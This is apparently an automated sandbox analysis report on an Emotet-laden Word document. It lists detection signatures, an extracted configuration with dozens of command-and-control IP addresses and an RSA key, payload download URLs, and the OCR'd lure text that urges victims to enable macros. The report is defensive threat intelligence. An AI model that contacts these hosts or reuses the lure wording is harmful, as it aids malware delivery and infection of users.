Analysis Report ARCH_25_012021.doc

Overview

General Information

Sample Name:	ARCH_25_012021.doc
Analysis ID:	344852
MD5:	baedc37e68b58765fa52c73d0fd2c2d5
SHA1:	2131d1319b5de532638d34f1e3bf68337b6099bf
SHA256:	94485b3ce47d4a2df6dba8e888ca7a360763f7edd5a0448552d1d06b6e4f4baa
Most interesting Screenshot:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected Emotet

C2 URLs / IPs found in malware configuration

Creates processes via WMI

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

Encrypted powershell cmdline option found

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Obfuscated command line found

Potential dropper URLs found in powershell memory

Powershell drops PE file

Sigma detected: Suspicious Call by Ordinal

Sigma detected: Suspicious Encoded PowerShell Command Line

Suspicious powershell command line found

Very long command line found

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Signatures

AV Detection:

Antivirus detection for URL or domain

Source: http://3musketeersent.net/wp-includes/TUgD/	Avira URL Cloud: Label: malware
Source: http://dashudance.com/thinkphp/dgs7Jm9/	Avira URL Cloud: Label: malware
Source: http://shannared.com/content/lhALeS/	Avira URL Cloud: Label: malware
Source: http://mmrincs.com/eternal-duelist-9cuqv/jxGQj/	Avira URL Cloud: Label: malware
Source: http://leopardcranes.com/zynq-linux-yaayf/w/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 7.2.rundll32.exe.2e0000.1.raw.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["84.232.229.24:80", "51.255.203.164:8080", "217.160.169.110:8080", "185.183.16.47:80", "190.45.24.210:80", "187.162.248.237:80", "93.146.143.191:80", "185.94.252.27:443", "143.0.85.206:7080", "80.15.100.37:80", "85.105.239.184:443", "94.176.234.118:443", "62.84.75.50:80", "137.74.106.111:7080", "172.104.169.32:8080", "46.105.114.137:8080", "94.126.8.1:80", "78.206.229.130:80", "93.149.120.214:80", "192.175.111.212:7080", "80.249.176.206:80", "181.10.46.92:80", "190.24.243.186:80", "191.223.36.170:80", "177.23.7.151:80", "154.127.113.242:80", "51.255.165.160:8080", "87.106.46.107:8080", "85.214.26.7:8080", "190.247.139.101:80", "46.101.58.37:8080", "201.185.69.28:443", "46.43.2.95:8080", "82.208.146.142:7080", "110.39.160.38:443", "186.177.174.163:80", "51.38.124.206:80", "81.4.105.175:8080", "209.33.120.130:80", "172.245.248.239:8080", "45.16.226.117:443", "104.130.154.83:7080", "217.13.106.14:8080", "94.23.45.86:7080", "152.169.22.67:80", "12.162.84.2:8080", "201.48.121.65:443", "81.17.93.134:80", "81.215.230.173:443", "60.93.23.51:80", "122.201.23.45:443", "31.27.59.105:80", "105.209.235.113:8080", "197.232.36.108:80", "91.233.197.70:80", "87.106.253.248:8080", "138.97.60.141:7080", "152.170.79.100:80", "190.251.216.100:80", "177.85.167.10:80", "212.71.237.140:8080", "82.48.39.246:80", "213.52.74.198:80", "116.125.120.88:443", "81.214.253.80:443", "149.62.173.247:8080", "152.231.89.226:80", "206.189.232.2:8080", "181.30.61.163:443", "1.226.84.243:8080", "191.241.233.198:80", "109.101.137.162:8080", "110.39.162.2:443", "167.71.148.58:443", "5.196.35.138:7080", "190.64.88.186:443", "200.75.39.254:80", "138.97.60.140:8080", "170.81.48.2:80", "70.32.115.157:8080", "104.131.41.185:8080", "190.162.232.138:80", "188.135.15.49:80", "95.76.153.115:80", "188.225.32.231:7080", "12.163.208.58:80", "50.28.51.143:8080", "202.134.4.210:7080", "190.210.246.253:80", "149.202.72.142:7080", "138.197.99.250:8080", "68.183.190.199:8080", "211.215.18.93:8080"], "RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB"}

Multi AV Scanner detection for domain / URL

Source: http://3musketeersent.net/wp-includes/TUgD/	Virustotal: Detection: 8%			Perma Link
Source: https://skilmu.com/wp-admin/hQVlB8b/	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Kaktksw\An6othh\N49I.dll

ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Source: ARCH_25_012021.doc	Virustotal: Detection: 57%			Perma Link
Source: ARCH_25_012021.doc	ReversingLabs: Detection: 26%

Machine Learning detection for dropped file

Source: C:\Users\user\Kaktksw\An6othh\N49I.dll

Joe Sandbox ML: detected

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 14_2_0074CC2A CryptDecodeObjectEx,

14_2_0074CC2A

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2098357999.0000000002737000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2098357999.0000000002737000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2098357999.0000000002737000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2098357999.0000000002737000.00000004.00000040.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2098357999.0000000002737000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2098357999.0000000002737000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2098362682.0000000002740000.00000002.00000001.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: Traffic	Snort IDS: 2404344 ET CNC Feodo Tracker Reported CnC Server TCP group 23 192.168.2.22:49168 -> 84.232.229.24:80
Source: Traffic	Snort IDS: 2404334 ET CNC Feodo Tracker Reported CnC Server TCP group 18 192.168.2.22:49169 -> 51.255.203.164:8080
Source: Traffic	Snort IDS: 2404328 ET CNC Feodo Tracker Reported CnC Server TCP group 15 192.168.2.22:49171 -> 217.160.169.110:8080
Source: Traffic	Snort IDS: 2404314 ET CNC Feodo Tracker Reported CnC Server TCP group 8 192.168.2.22:49173 -> 185.183.16.47:80

Source: Malware configuration extractor	IPs: 84.232.229.24:80
Source: Malware configuration extractor	IPs: 51.255.203.164:8080
Source: Malware configuration extractor	IPs: 217.160.169.110:8080
Source: Malware configuration extractor	IPs: 185.183.16.47:80
Source: Malware configuration extractor	IPs: 190.45.24.210:80
Source: Malware configuration extractor	IPs: 187.162.248.237:80
Source: Malware configuration extractor	IPs: 93.146.143.191:80
Source: Malware configuration extractor	IPs: 185.94.252.27:443
Source: Malware configuration extractor	IPs: 143.0.85.206:7080
Source: Malware configuration extractor	IPs: 80.15.100.37:80
Source: Malware configuration extractor	IPs: 85.105.239.184:443
Source: Malware configuration extractor	IPs: 94.176.234.118:443
Source: Malware configuration extractor	IPs: 62.84.75.50:80
Source: Malware configuration extractor	IPs: 137.74.106.111:7080
Source: Malware configuration extractor	IPs: 172.104.169.32:8080
Source: Malware configuration extractor	IPs: 46.105.114.137:8080
Source: Malware configuration extractor	IPs: 94.126.8.1:80
Source: Malware configuration extractor	IPs: 78.206.229.130:80
Source: Malware configuration extractor	IPs: 93.149.120.214:80
Source: Malware configuration extractor	IPs: 192.175.111.212:7080
Source: Malware configuration extractor	IPs: 80.249.176.206:80
Source: Malware configuration extractor	IPs: 181.10.46.92:80
Source: Malware configuration extractor	IPs: 190.24.243.186:80
Source: Malware configuration extractor	IPs: 191.223.36.170:80
Source: Malware configuration extractor	IPs: 177.23.7.151:80
Source: Malware configuration extractor	IPs: 154.127.113.242:80
Source: Malware configuration extractor	IPs: 51.255.165.160:8080
Source: Malware configuration extractor	IPs: 87.106.46.107:8080
Source: Malware configuration extractor	IPs: 85.214.26.7:8080
Source: Malware configuration extractor	IPs: 190.247.139.101:80
Source: Malware configuration extractor	IPs: 46.101.58.37:8080
Source: Malware configuration extractor	IPs: 201.185.69.28:443
Source: Malware configuration extractor	IPs: 46.43.2.95:8080
Source: Malware configuration extractor	IPs: 82.208.146.142:7080
Source: Malware configuration extractor	IPs: 110.39.160.38:443
Source: Malware configuration extractor	IPs: 186.177.174.163:80
Source: Malware configuration extractor	IPs: 51.38.124.206:80
Source: Malware configuration extractor	IPs: 81.4.105.175:8080
Source: Malware configuration extractor	IPs: 209.33.120.130:80
Source: Malware configuration extractor	IPs: 172.245.248.239:8080
Source: Malware configuration extractor	IPs: 45.16.226.117:443
Source: Malware configuration extractor	IPs: 104.130.154.83:7080
Source: Malware configuration extractor	IPs: 217.13.106.14:8080
Source: Malware configuration extractor	IPs: 94.23.45.86:7080
Source: Malware configuration extractor	IPs: 152.169.22.67:80
Source: Malware configuration extractor	IPs: 12.162.84.2:8080
Source: Malware configuration extractor	IPs: 201.48.121.65:443
Source: Malware configuration extractor	IPs: 81.17.93.134:80
Source: Malware configuration extractor	IPs: 81.215.230.173:443
Source: Malware configuration extractor	IPs: 60.93.23.51:80
Source: Malware configuration extractor	IPs: 122.201.23.45:443
Source: Malware configuration extractor	IPs: 31.27.59.105:80
Source: Malware configuration extractor	IPs: 105.209.235.113:8080
Source: Malware configuration extractor	IPs: 197.232.36.108:80
Source: Malware configuration extractor	IPs: 91.233.197.70:80
Source: Malware configuration extractor	IPs: 87.106.253.248:8080
Source: Malware configuration extractor	IPs: 138.97.60.141:7080
Source: Malware configuration extractor	IPs: 152.170.79.100:80
Source: Malware configuration extractor	IPs: 190.251.216.100:80
Source: Malware configuration extractor	IPs: 177.85.167.10:80
Source: Malware configuration extractor	IPs: 212.71.237.140:8080
Source: Malware configuration extractor	IPs: 82.48.39.246:80
Source: Malware configuration extractor	IPs: 213.52.74.198:80
Source: Malware configuration extractor	IPs: 116.125.120.88:443
Source: Malware configuration extractor	IPs: 81.214.253.80:443
Source: Malware configuration extractor	IPs: 149.62.173.247:8080
Source: Malware configuration extractor	IPs: 152.231.89.226:80
Source: Malware configuration extractor	IPs: 206.189.232.2:8080
Source: Malware configuration extractor	IPs: 181.30.61.163:443
Source: Malware configuration extractor	IPs: 1.226.84.243:8080
Source: Malware configuration extractor	IPs: 191.241.233.198:80
Source: Malware configuration extractor	IPs: 109.101.137.162:8080
Source: Malware configuration extractor	IPs: 110.39.162.2:443
Source: Malware configuration extractor	IPs: 167.71.148.58:443
Source: Malware configuration extractor	IPs: 5.196.35.138:7080
Source: Malware configuration extractor	IPs: 190.64.88.186:443
Source: Malware configuration extractor	IPs: 200.75.39.254:80
Source: Malware configuration extractor	IPs: 138.97.60.140:8080
Source: Malware configuration extractor	IPs: 170.81.48.2:80
Source: Malware configuration extractor	IPs: 70.32.115.157:8080
Source: Malware configuration extractor	IPs: 104.131.41.185:8080
Source: Malware configuration extractor	IPs: 190.162.232.138:80
Source: Malware configuration extractor	IPs: 188.135.15.49:80
Source: Malware configuration extractor	IPs: 95.76.153.115:80
Source: Malware configuration extractor	IPs: 188.225.32.231:7080
Source: Malware configuration extractor	IPs: 12.163.208.58:80
Source: Malware configuration extractor	IPs: 50.28.51.143:8080
Source: Malware configuration extractor	IPs: 202.134.4.210:7080
Source: Malware configuration extractor	IPs: 190.210.246.253:80
Source: Malware configuration extractor	IPs: 149.202.72.142:7080
Source: Malware configuration extractor	IPs: 138.197.99.250:8080
Source: Malware configuration extractor	IPs: 68.183.190.199:8080
Source: Malware configuration extractor	IPs: 211.215.18.93:8080

Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 51.255.203.164:8080
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 217.160.169.110:8080

Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
Source: Joe Sandbox View	ASN Name: OVHFR OVHFR
Source: Joe Sandbox View	ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS
Source: Joe Sandbox View	ASN Name: RCS-RDS73-75DrStaicoviciRO RCS-RDS73-75DrStaicoviciRO

Source: unknown	TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown	TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown	TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown	TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown	TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown	TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown	TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown	TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown	TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.16.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.16.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.16.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.16.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.16.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.16.47

Source: powershell.exe, 00000005.00000002.2102755759.0000000003A7A000.00000004.00000001.sdmp	String found in binary or memory: http://3musketeersent.net/wp-includes/TUgD/
Source: powershell.exe, 00000005.00000002.2102755759.0000000003A7A000.00000004.00000001.sdmp	String found in binary or memory: http://dashudance.com/thinkphp/dgs7Jm9/
Source: rundll32.exe, 00000006.00000002.2102931127.0000000001CF0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100205585.00000000007E0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102534747.00000000021C0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2106073244.00000000021D0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2102931127.0000000001CF0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100205585.00000000007E0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102534747.00000000021C0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2106073244.00000000021D0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000005.00000002.2102755759.0000000003A7A000.00000004.00000001.sdmp	String found in binary or memory: http://jeevanlic.com/wp-content/r8M/
Source: powershell.exe, 00000005.00000002.2102755759.0000000003A7A000.00000004.00000001.sdmp	String found in binary or memory: http://leopardcranes.com/zynq-linux-yaayf/w/
Source: rundll32.exe, 00000006.00000002.2103145307.0000000001ED7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2101608511.00000000009C7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102759943.00000000023A7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2107325517.00000000023B7000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2110722760.0000000000917000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2103145307.0000000001ED7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2101608511.00000000009C7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102759943.00000000023A7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2107325517.00000000023B7000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2110722760.0000000000917000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2102755759.0000000003A7A000.00000004.00000001.sdmp	String found in binary or memory: http://mmrincs.com/eternal-duelist-9cuqv/jxGQj/
Source: powershell.exe, 00000005.00000002.2098057868.00000000022D0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2103421581.0000000002980000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2103145307.0000000001ED7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2101608511.00000000009C7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102759943.00000000023A7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2107325517.00000000023B7000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2110722760.0000000000917000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2102755759.0000000003A7A000.00000004.00000001.sdmp	String found in binary or memory: http://shannared.com
Source: powershell.exe, 00000005.00000002.2102755759.0000000003A7A000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2103532538.000000001B8B6000.00000004.00000001.sdmp	String found in binary or memory: http://shannared.com/content/lhALeS/
Source: rundll32.exe, 00000006.00000002.2103145307.0000000001ED7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2101608511.00000000009C7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102759943.00000000023A7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2107325517.00000000023B7000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2110722760.0000000000917000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2098057868.00000000022D0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2103421581.0000000002980000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000006.00000002.2102931127.0000000001CF0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100205585.00000000007E0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102534747.00000000021C0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2106073244.00000000021D0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2103145307.0000000001ED7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2101608511.00000000009C7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102759943.00000000023A7000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2107325517.00000000023B7000.00000002.00000001.sdmp, rundll32.exe, 0000000A.00000002.2110722760.0000000000917000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000006.00000002.2102931127.0000000001CF0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100205585.00000000007E0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102534747.00000000021C0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2106073244.00000000021D0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2097305734.00000000001A4000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/
Source: powershell.exe, 00000005.00000002.2097305734.00000000001A4000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.2097305734.00000000001A4000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: powershell.exe, 00000005.00000002.2097305734.00000000001A4000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerv
Source: rundll32.exe, 00000009.00000002.2106073244.00000000021D0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2102755759.0000000003A7A000.00000004.00000001.sdmp	String found in binary or memory: https://skilmu.com/wp-admin/hQVlB8b/

Source: Yara match	File source: 0000000E.00000002.2340258197.0000000000740000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2340368896.00000000007E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2114550082.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2102026803.00000000002D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2114093455.0000000000710000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2103817256.0000000000770000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2112160359.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2106310017.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2099609589.00000000002E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2113942317.00000000006A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2106250328.0000000000160000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2103543445.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2112213482.00000000002B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2099871520.0000000000510000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2103566665.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2099349373.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2110427728.00000000002A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2102360231.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2110654197.0000000000750000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2111292152.0000000000B10000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2101833824.0000000000230000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2340125586.0000000000300000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2110403391.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2112133272.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 9.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.740000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.750000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.2a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.2b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.740000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.b10000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.990000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.7b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.770000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.240000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.710000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.b10000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.300000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.770000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.7b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.2b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.750000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.990000.1.unpack, type: UNPACKEDPE

Source: Screenshot number: 4	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words:
Source: Screenshot number: 4	Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4	Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words: 8,758 N@m 13 ;a 1009
Source: Document image extraction number: 0	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 0	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.

Source: unknown	Process created: Commandline size = 5677
Source: unknown	Process created: Commandline size = 5576
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 5576	Jump to behavior

